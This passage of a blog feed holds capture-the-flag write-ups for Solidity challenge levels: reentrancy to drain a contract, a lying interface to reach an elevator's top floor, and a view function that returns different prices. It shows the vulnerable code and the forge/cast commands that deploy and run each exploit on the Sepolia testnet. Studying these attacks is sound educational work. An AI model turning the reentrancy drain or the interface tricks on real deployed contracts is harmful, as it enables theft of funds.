              <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-function"><span class="hljs-keyword">constructor</span>-<span class="hljs-title">args</span>=&#x3C;<span class="hljs-title">level</span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>> \ 
              --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>> \ 
              --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">sepolia</span> <span class="hljs-title">url</span>> --<span class="hljs-title">value</span> 1000000000000000<span class="hljs-title"><span class="hljs-literal">wei</span></span>
</span></code></pre><p>then call the contract with:</p><pre data-type="codeBlock" text="&gt; cast send &lt;deployed address&gt; \ 
          --value 0.0001ether \ 
          --private-key=&lt;private-key&gt; \ 
          --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>deployed <span class="hljs-keyword">address</span><span class="hljs-operator">></span> \ 
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span>value <span class="hljs-number">0</span>.0001ether \ 
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">></span> \ 
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><hr><h2 id="h-1100-exploiting-reentrancy" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1100. exploiting reentrancy</h2><p>we know that contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (<em>i.e.</em>, reentering) or any other contract in the call stack.</p><p>a <strong>reentrancy attack</strong> can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.</p><p>state in the blockchain is considered valid when the contract-specific invariants hold true. contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.</p><p>in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.</p><p>for example, an attacker could repeatedly call a <code>withdraw()</code> or <code>receive()</code> function (or similar balance updating function) before a vulnerable contract’s balance is updated.</p><blockquote><p>💎 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://mirror.xyz/go-outside.eth/7Q5DK8cZNZ5CP6ThJjEithPvjgckA24D2wb-j0Ps5-I"><strong>for a detailed review on reentrancy attacks, check my mirror post</strong></a><strong><em>.</em></strong></p></blockquote><p>in this challenge, we need to exploit this contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/13ce5842b4dd9da9272bc323f6403959c74a8d834780a7ac6779fe6955ddcb58.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the <code>Reentrance</code> contract starts with a state variable for <code>balances</code>:</p><pre data-type="codeBlock" text="contract Reentrance {
  mapping(address =&gt; uint256) public balances;
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Reentrance</span> </span>{
  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balances;
</code></pre><p>then we have a getter and a setter function for <code>donate()</code> (whoever donates some <code>ether</code> becomes part of <code>balances</code>) and <code>balanceOf()</code>:</p><pre data-type="codeBlock" text="function donate(address _to) public payable {
     balances[_to] = balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint256 balance) {
    return balances[_who];
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
     balances[_to] <span class="hljs-operator">=</span> balances[_to] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balanceOf</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _who</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> balance</span>) </span>{
    <span class="hljs-keyword">return</span> balances[_who];
}
</code></pre><p>then, we have the <code>withdraw(amount)</code> function, which is the source of our reentrancy attack.</p><p>for instance, note how it already breaks the <code>checks -&gt; effects -&gt; interactions</code> pattern.</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/ce47ee9490351e7da1afa180c55f8ee8fa9b8a7dc6fb2de78d04a48e6b3efedc.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>in other words, if <code>msg.sender</code> is a (attacker) contract and since <code>balances</code> deduction is made after the call, the contract can call a <code>fallback()</code> to cause a recursion that sends the value multiple times before reducing the sender&apos;s balance.</p><pre data-type="codeBlock" text="  function withdraw(uint256 _amount) public {
        if (balances[msg.sender] &gt;= _amount) {
            (bool success, ) = msg.sender.call{value: _amount}(&quot;&quot;);
            if (success) {
                _amount;
            }
            // unchecked to prevent underflow errors
            unchecked {
                balances[msg.sender] -= _amount; 
            }
        }
    }
"><code>  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> _amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">if</span> (balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> _amount) {
            (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: _amount}(<span class="hljs-string">""</span>);
            <span class="hljs-keyword">if</span> (success) {
                _amount;
            }
            <span class="hljs-comment">// unchecked to prevent underflow errors</span>
            <span class="hljs-keyword">unchecked</span> {
                balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> _amount; 
            }
        }
    }
</code></pre><p>finally, we see a blank <code>receive()</code> function, which receives any <code>ether</code> sent to the contract without specifically calling <code>donate()</code>.</p><p><code>receive()</code> is a new keyword in solidity 0.6.x, and it is used as a <code>fallback()</code> function for empty calldata (or any value) that is only able to receive ether.</p><p>remember that solidity’s <code>fallback()</code> function is executed if none of the other functions match the function identifier or no data was provided with the function call (and it can be optionally <code>payable</code>).</p><pre data-type="codeBlock" text="receive() external payable {}
"><code><span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
</code></pre><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>our exploit needs to do the following:</p><ol><li><p>makes an initial donation of <code>ether</code> through <code>call()</code>.</p></li><li><p>calls the first <code>withdraw(initialDeposit)</code> for this amount of <code>ether</code> (which triggers our exploit&apos;s <code>receive()</code> for the first time and starts the recursion).</p></li><li><p>call the second <code>withdraw(address(level).balance)</code> to drain the contract.</p></li></ol><p>the exploit is located at <code>src/10/ReentrancyExploit.sol</code>. note that the attack occurs at <code>run()</code> and <code>receive()</code>. the function <code>withdrawtoHacker()</code> can be called afterwords to withdraw the balance from the <code>ReentrancyExploit</code> contract:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f164aa2fbce05c1b8a6ce8ea4241419e3cc76acc95815d28fead99f28d155d2a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>which can be tested with <code>test/10/Reentrancy.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/3ec5655b6c3236606aa19c5a5d43d0186954259f2984995952dc756a42b1364a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract ReentrancyTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ReentrancyTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>finally, the solution can be submitted with <code>script/10/Reentrancy.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/692c336ab3db9571c272d883ba367e2a8ef514518f1e966b623eabd765b6a7b1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/10/Reentrancy.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span><span class="hljs-number">10</span><span class="hljs-operator">/</span>Reentrancy.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-1011-exploiting-interfaces" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1011. exploiting interfaces</h2><p>this challenge explores vulnerabilities in smart contract composability (usually classified into <strong>ERC standards</strong>, <strong>libraries</strong>, and <strong>interfaces</strong>):</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/47b2ca1ca7b90ac9e6579e492f48d04d71a1c001ac8cbcbde2ea8fbf84a9eaf1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>more specifically, the lesson in this challenge is to <strong>be careful when using interfaces</strong> (or other contracts), as they introduce an attack surface to any re-implementable function (and <code>view</code> or <code>pure</code> modifiers cannot be treated as guarantees for function behavior).</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://solidity-by-example.org/interface/"><strong>remember that an</strong></a> <code>interface</code> cannot have any functions implemented, declare a constructor, declare state variables, and all functions must be external.</p><p>in addition, another takeaway is to refrain from giving permissions to <code>msg.sender</code> to implement interfaces or modify the storage and state of your contract (unless explicitly required).</p><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the contract starts with an <code>interface</code> containing an <code>external</code> function that returns a <code>bool</code> if <code>isLastFloor()</code>.</p><p>note that <code>external</code> allows a state change (an alternative is <code>view</code>, which doesn&apos;t allow modification of the state of the contract).</p><pre data-type="codeBlock" text="interface Building {
  function isLastFloor(uint) external returns (bool);
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Building</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isLastFloor</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}
</code></pre><p>now, let&apos;s look at the <code>Elevator</code> contract, where we already see a mistake in the very definition:</p><pre data-type="codeBlock" text="contract Elevator {...}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Elevator</span> </span>{...}
</code></pre><p>should be, instead,</p><pre data-type="codeBlock" text="contract Elevator is Building {...} 
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Elevator</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Building</span> </span>{...} 
</code></pre><p>next, we see two state variables, <code>bool top</code> to indicate if we are at the top and <code>uint floor</code> telling where to go:</p><pre data-type="codeBlock" text="bool public top;
uint public floor;
"><code><span class="hljs-built_in">bool</span> <span class="hljs-keyword">public</span> top;
<span class="hljs-built_in">uint</span> <span class="hljs-keyword">public</span> floor;
</code></pre><p>finally, there is one (<code>public</code>) function, which simulates the movement of the elevator by first initiating the <code>building</code> contract (with the data provided by <code>msg.sender</code>) and then taking <code>uint _floor</code>.</p><p>this challenge&apos;s vulnerability is found in this part, due to the unchecked assumption about the caller:</p><pre data-type="codeBlock" text="function goTo(uint _floor) public {
    Building building = Building(msg.sender);
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goTo</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _floor</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Building building <span class="hljs-operator">=</span> Building(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
}
</code></pre><p>if the given floor number is not the last, fill both in variables <code>floor</code> and <code>top</code>:</p><pre data-type="codeBlock" text="    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
"><code>    <span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span> building.isLastFloor(_floor)) {
      floor <span class="hljs-operator">=</span> _floor;
      top <span class="hljs-operator">=</span> building.isLastFloor(floor);
    }
</code></pre><p>our goal is to pass the check <code>!building.isLastFloor(_floor)</code> so that we can make <code>top == True</code> by hacking the interface function <code>isLastFloor()</code>.</p><p>we can achieve this by tailoring an exploit using the interface and defining <code>isLastFloor()</code> to return <code>false</code> in the first call and <code>true</code> in the second call (with the same input).</p><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>an exploit could be crafted with <code>contract.call(abi.encodeWithSignature(&quot;goTo(uint)&quot;, 0))</code>.</p><p>however, since we are leveraging foundry, we craft the following exploit:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0426a030a5d3944d53e1e461fc39e856dc933279b2ff4ba5391ec6fe9e159bea.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>which can be tested with <code>test/11.Elevator.t.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/404ab454705435d62129955de93282dc211d67eb1621d9ccf5addfa56a0ae3c1.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract ElevatorTest -vvvv
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ElevatorTest</span> -<span class="hljs-title">vvvv</span>
</span></code></pre><p>and submitted with <code>script/11/Elevator.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/25f0735194a2eda533a6dc8a5a633f57751ec7481f5f1744ac41ff00db970590.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/11/Elevator.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span><span class="hljs-number">11</span><span class="hljs-operator">/</span>Elevator.s.sol \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv \ 
                <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h3 id="h-solution-using-cast-and-forge" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution using <code>cast</code> and <code>forge</code></h3><p>another way to submit our exploit is through <code>cast</code>. first, we could deploy our attack contract with:</p><pre data-type="codeBlock" text="&gt; forge create src/11/ElevatorExploit.sol:ElevatorExploit \ 
          --constructor-args=&lt;level address&gt; \ 
          --private-key=&lt;private-key&gt; \ 
          --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> forge create src<span class="hljs-operator">/</span><span class="hljs-number">11</span><span class="hljs-operator">/</span>ElevatorExploit.sol:ElevatorExploit \ 
          <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-function"><span class="hljs-keyword">constructor</span>-<span class="hljs-title">args</span>=&#x3C;<span class="hljs-title">level</span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>> \ 
          --<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>=&#x3C;<span class="hljs-title"><span class="hljs-keyword">private</span></span>-<span class="hljs-title">key</span>> \ 
          --<span class="hljs-title">rpc</span>-<span class="hljs-title">url</span>=&#x3C;<span class="hljs-title">sepolia</span> <span class="hljs-title">url</span>> 
</span></code></pre><p>then, we call the contract with:</p><pre data-type="codeBlock" text="&gt; cast send &lt;level address&gt; &quot;run()&quot; \ 
            --gas &lt;extra gas&gt; \ 
            --private-key=&lt;private-key&gt; --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast send <span class="hljs-operator">&#x3C;</span>level <span class="hljs-keyword">address</span><span class="hljs-operator">></span> <span class="hljs-string">"run()"</span> \ 
            <span class="hljs-operator">-</span><span class="hljs-operator">-</span>gas <span class="hljs-operator">&#x3C;</span>extra gas<span class="hljs-operator">></span> \ 
            <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key<span class="hljs-operator">></span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><ul><li><p>finally, we can confirm that <code>top()</code> is <code>true</code> with:</p></li></ul><pre data-type="codeBlock" text="&gt; cast call &lt;level address&gt; &quot;top()&quot; --rpc-url=&lt;sepolia url&gt; 
"><code><span class="hljs-operator">></span> cast call <span class="hljs-operator">&#x3C;</span>level <span class="hljs-keyword">address</span><span class="hljs-operator">></span> <span class="hljs-string">"top()"</span> <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url<span class="hljs-operator">=</span><span class="hljs-operator">&#x3C;</span>sepolia url<span class="hljs-operator">></span> 
</code></pre><hr><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0"></h3><h2 id="h-1110-exploiting-interfaces-ii" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1110. exploiting interfaces II</h2><p>in this challenge we explore restrictions of <code>view</code> functions through an <code>interface</code>, similarly to level <code>11</code> for <code>Elevator</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0c28781e0ecefed2ba1b43e30096d41a85a64c780541409572064bdb96855292.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>now, the goal is to find a way to buy items from a <code>Shop</code> contract for a lower price when compared to sold items.</p><p>remember that a <code>view</code> function <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.soliditylang.org/en/v0.8.15/contracts.html#view-functions"><strong>cannot modify the state of the contract</strong></a>.</p><p>for instance, it cannot write to state variables, create other contracts, emit events, send ether with <code>call()</code>, use any low-level calls, use <code>selfdestruct()</code>, call functions that <code>pure</code> or <code>view</code>, or use inline assembly with certain opcodes.</p><hr><h3 id="h-discussion" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">discussion</h3><p>the first part of this contract is the <code>interface Buyer</code> that defines as <code>external view</code> function, <code>price()</code>, representing the amount of <code>wei</code> a <code>Buyer</code> must pay:</p><pre data-type="codeBlock" text="interface Buyer {
  function price() external view returns (uint);
}
"><code><span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">Buyer</span> </span>{
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">price</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>)</span>;
}
</code></pre><p>then, in the <code>Shop</code> contract, we have two state variables:</p><pre data-type="codeBlock" text="uint public price = 100;
bool public isSold;
"><code><span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> price <span class="hljs-operator">=</span> <span class="hljs-number">100</span>;
<span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isSold;
</code></pre><p>and a <code>public</code> function <code>buy()</code>, where the <code>price()</code> is being called twice.</p><p>this is our vulnerability, as one should never trust external inputs (<em>e.g.,</em> coming from the <code>interface</code> implementation):</p><pre data-type="codeBlock" text="function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() &gt;= price &amp;&amp; !isSold) {
      isSold = true;
      price = _buyer.price();
    }
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">buy</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    Buyer _buyer <span class="hljs-operator">=</span> Buyer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);

    <span class="hljs-keyword">if</span> (_buyer.price() <span class="hljs-operator">></span><span class="hljs-operator">=</span> price <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> <span class="hljs-operator">!</span>isSold) {
      isSold <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
      price <span class="hljs-operator">=</span> _buyer.price();
    }
}
</code></pre><p>in other words, <code>Shop</code> expects <code>Buyer</code> to return the price it is willing to pay to buy the item, believing that the price would not change the second time it is called, as it is a <code>view</code> function.</p><p>we will use this as our exploit, querying the value of <code>isSold()</code> and returning a different result based on our needs:</p><ul><li><p>the first time <code>price()</code> is called, it returns <code>&gt;100</code> to enter the loop.</p></li><li><p>then, the second time, it can return anything lower.</p></li></ul><hr><h3 id="h-solution" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">solution</h3><p>we craft the following exploit at <code>src/21/ShopExploit.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/6470088ecad0a4b987cf2cc805ede9ef1e7d5f31264025f227dde15fae43e315.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>check <code>test/21.Shop.t.sol</code> for testing this solution::</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a6bad9149f48c85cfdf1491ecc2e82ab73e05266e153ae7e751d6e1e73bf6da9.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>running:</p><pre data-type="codeBlock" text="&gt; forge test --match-contract ShopTest -vvvv    
"><code><span class="hljs-operator">></span> forge test <span class="hljs-operator">-</span><span class="hljs-operator">-</span>match<span class="hljs-operator">-</span><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ShopTest</span> -<span class="hljs-title">vvvv</span>    
</span></code></pre><p>then, submit the solution with <code>script/21/Shop.s.sol</code>:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e0d39a05eb27b2d84f0dea535a4c327cc155b55ce7ff1ce2de9f81632b7d76a8.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>by running:</p><pre data-type="codeBlock" text="&gt; forge script ./script/21/Shop.s.sol --broadcast -vvvv --rpc-url sepolia
"><code><span class="hljs-operator">></span> forge script ./script<span class="hljs-operator">/</span><span class="hljs-number">21</span><span class="hljs-operator">/</span>Shop.s.sol <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span>vvvv <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia
</code></pre><h3 id="h-pwned" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">pwned...</h3><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/b071a8d38b9d840fa71b25364704b741f2db51538f536cc1b5e7c4f197071916.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[on my rusty sparse merkle tree experiment]]></title>
            <link>https://paragraph.com/@go-outside/on-my-rusty-sparse-merkle-tree-experiment</link>
            <guid>P74pKGi5DZFto1EsjbZ4</guid>
            <pubDate>Tue, 19 Sep 2023 22:23:13 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over my implementation of a simple library for authenticated data structures and sparse merkle trees. the source code, in rust, can be found here.🎵 today’s moodhttps://open.spotify.com/track/6AtBumPb5RsfgG3Xo6UsTW?si=2368f6231a324825 “the first half of life is devoted to forming a healthy ego, the second half is going inward and letting go of it.” - carl jung “the ego refuses to be distressed by the provocations of reality, to let itself be compelled to suffer. it insists th...]]></description>
